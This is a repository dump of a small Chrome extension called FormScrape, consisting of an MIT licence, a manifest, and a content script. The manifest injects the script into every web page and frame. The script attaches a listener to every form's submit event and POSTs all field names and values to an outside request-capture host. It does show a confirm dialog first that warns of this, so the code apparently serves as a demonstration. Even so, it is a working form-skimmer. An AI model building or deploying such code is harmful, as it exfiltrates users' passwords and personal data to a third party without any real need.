├── LICENCE ├── content.js ├── icon.png ├── manifest.json └── popup.html /LICENCE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 asdfx 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /content.js: -------------------------------------------------------------------------------- 1 | //get every form 2 | var forms = document.forms; 3 | 4 | //called when a submit event happens 5 | function formSubmit(event) { 6 | if (!window.confirm('This extension sends the data you just submitted to a 3rd party service and displays it publically. If you don\'t want this to happen, press cancel, and remove the FormScrape Chrome extension')) { 7 | return; 8 | } 9 | var xhr = new XMLHttpRequest(); 10 | xhr.open('POST', 'https://requestb.in/uiiitwui'); 11 | var string = ''; 12 | // iterate over all of the form fields and urlencode them. There'll be an extra & at the end but who cares 13 | for (index = 0; index < event.target.elements.length; ++index) { 14 | string = string + event.target.elements[index].name + '=' + event.target.elements[index].value + '&'; 15 | } 16 | xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 17 | xhr.send(string); 18 | } 19 | 20 | // add an event listener to the submit event for every form in the page 21 | for (index = 0; index < forms.length; ++index) { 22 | forms[index].addEventListener('submit', formSubmit); 23 | } 24 | -------------------------------------------------------------------------------- /icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/agjmills/form-scrape/60ed2576204a8d7db4be9fe943c0251117d213e0/icon.png -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | 4 | "name": "FormScrape", 5 | "description": "This extension injects javascript into a page and scrapes post requests", 6 | "version": "0.0.0.1", 7 | "browser_action": { 8 | "default_icon": "icon.png" 9 | }, 10 | "content_scripts": [ { 11 | "all_frames": true, 12 | "js": [ "content.js" ], 13 | "matches": [ "http://*/*", "https://*/*" ] 14 | } ], 15 | "permissions": [ "http://*/*", "https://*/*" ] 16 | } 17 | -------------------------------------------------------------------------------- /popup.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/agjmills/form-scrape/60ed2576204a8d7db4be9fe943c0251117d213e0/popup.html --------------------------------------------------------------------------------